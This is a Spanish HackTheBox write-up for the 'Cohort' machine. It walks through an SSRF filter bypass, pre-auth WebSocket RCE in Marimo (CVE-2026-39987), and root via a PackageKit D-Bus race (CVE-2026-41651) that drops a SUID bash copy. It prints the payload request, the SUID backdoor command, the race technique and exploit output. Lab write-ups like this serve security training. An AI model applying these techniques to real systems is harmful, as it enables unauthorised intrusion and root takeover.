Cohort — writeup de HTB y cadena de explotación

Máquina Cohort (HackTheBox). Cadena de ataque completa:

1. SSRF en la API Flask (/api/validate) → descubrimiento de vhost interno
2. RCE pre-auth en el terminal WebSocket de Marimo 0.20.4 (CVE-2026-39987) → shell como marimo
3. Escalada de privilegios mediante PackageKit 1.2.8 D-Bus TOCTOU (CVE-2026-41651) → bash SUID → root

Las flags no se incluyen intencionalmente (reglas de HTB).

1. Reconocimiento y enumeración

10.129.93.8        cohort.htb

• 8080 — nginx sirviendo una aplicación Flask (endpoints /api/...)
• 8888 — servidor interno de notebooks Marimo (vhost: nb-1be3782a8afd3ad5.cohort.htb), no expuesto externamente

2. SSRF → descubrimiento de vhost interno

La aplicación exponía un endpoint de validación de URL que obtenía contenido remoto y lo reflejaba. El filtro de URL podía eludirse codificando la dirección de loopback:

POST /api/validate HTTP/1.1
Host: cohort.htb

{"url": "http://127.1:80/status"}

Esto alcanzaba el nginx interno y revelaba los upstreams configurados, incluyendo el vhost interno de Marimo nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.

3. RCE pre-auth — Marimo 0.20.4 (CVE-2026-39987)

El manejador del terminal WebSocket del notebook de Marimo no validaba la autenticación. Conectarse a /terminal/ws genera una shell bash mediante pty.fork().

El vhost interno era alcanzable a través del nginx externo enviando la cabecera Host interna:

./scripts/marimo_shell.py 10.129.93.8

[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$

Resultado: shell como marimo (uid 1000).

Enumeración como marimo

• dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1
• Las versiones de pkcon / polkit coinciden con el patrón TOCTOU vulnerable
• Flag user.txt en /home/marimo/user.txt

4. Escalada de privilegios — PackageKit TOCTOU (CVE-2026-41651)

Vulnerabilidad

PackageKit 1.2.8 tiene un fallo de time-of-check / time-of-use: el rol y los flags de la transacción leídos por el callback idle de GLib pueden ser explotados en una race condition emitiendo dos llamadas D-Bus asíncronas sobre la misma transacción, de modo que el backend privilegiado ejecuta la segunda llamada (rol NONE, sin comprobación de autenticación) aunque la primera (SIMULATE) ya haya pasado la comprobación de autorización.

Se emiten dos llamadas consecutivas sobre la misma transacción:

1. InstallFiles(SIMULATE=4) — pasa la comprobación de autorización de polkit
2. InstallFiles(NONE=0) — transporta el .deb malicioso, leído como parte del mismo lote de mensajes

El .deb malicioso ejecuta un script postinst como root que deja un bash SUID:

cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash

Exploit funcional

Detalle clave: las dos llamadas deben enviarse juntas para que el backend lea ambos mensajes en un solo lote. Usar call() asíncrono de GIO + flush_sync():

./scripts/cve-2026-41651_gio.py

[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash

Por qué falló el primer intento

El exploit inicial usaba python-dbus:

./scripts/cve-2026-41651_pydbus.py   # ❌ race lost

python-dbus serializa las dos llamadas a InstallFiles en escrituras separadas, por lo que el callback idle del backend las procesaba como eventos separados y la race condition nunca se producía. El flush_sync de GIO envía ambos mensajes D-Bus en un único lote de escritura → race condition ganada.

Root

/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...

/root/root.txt legible.

Archivos

scripts/
├── marimo_shell.py           # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py     # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py  # CVE-2026-41651 — first attempt (python-dbus, race lost)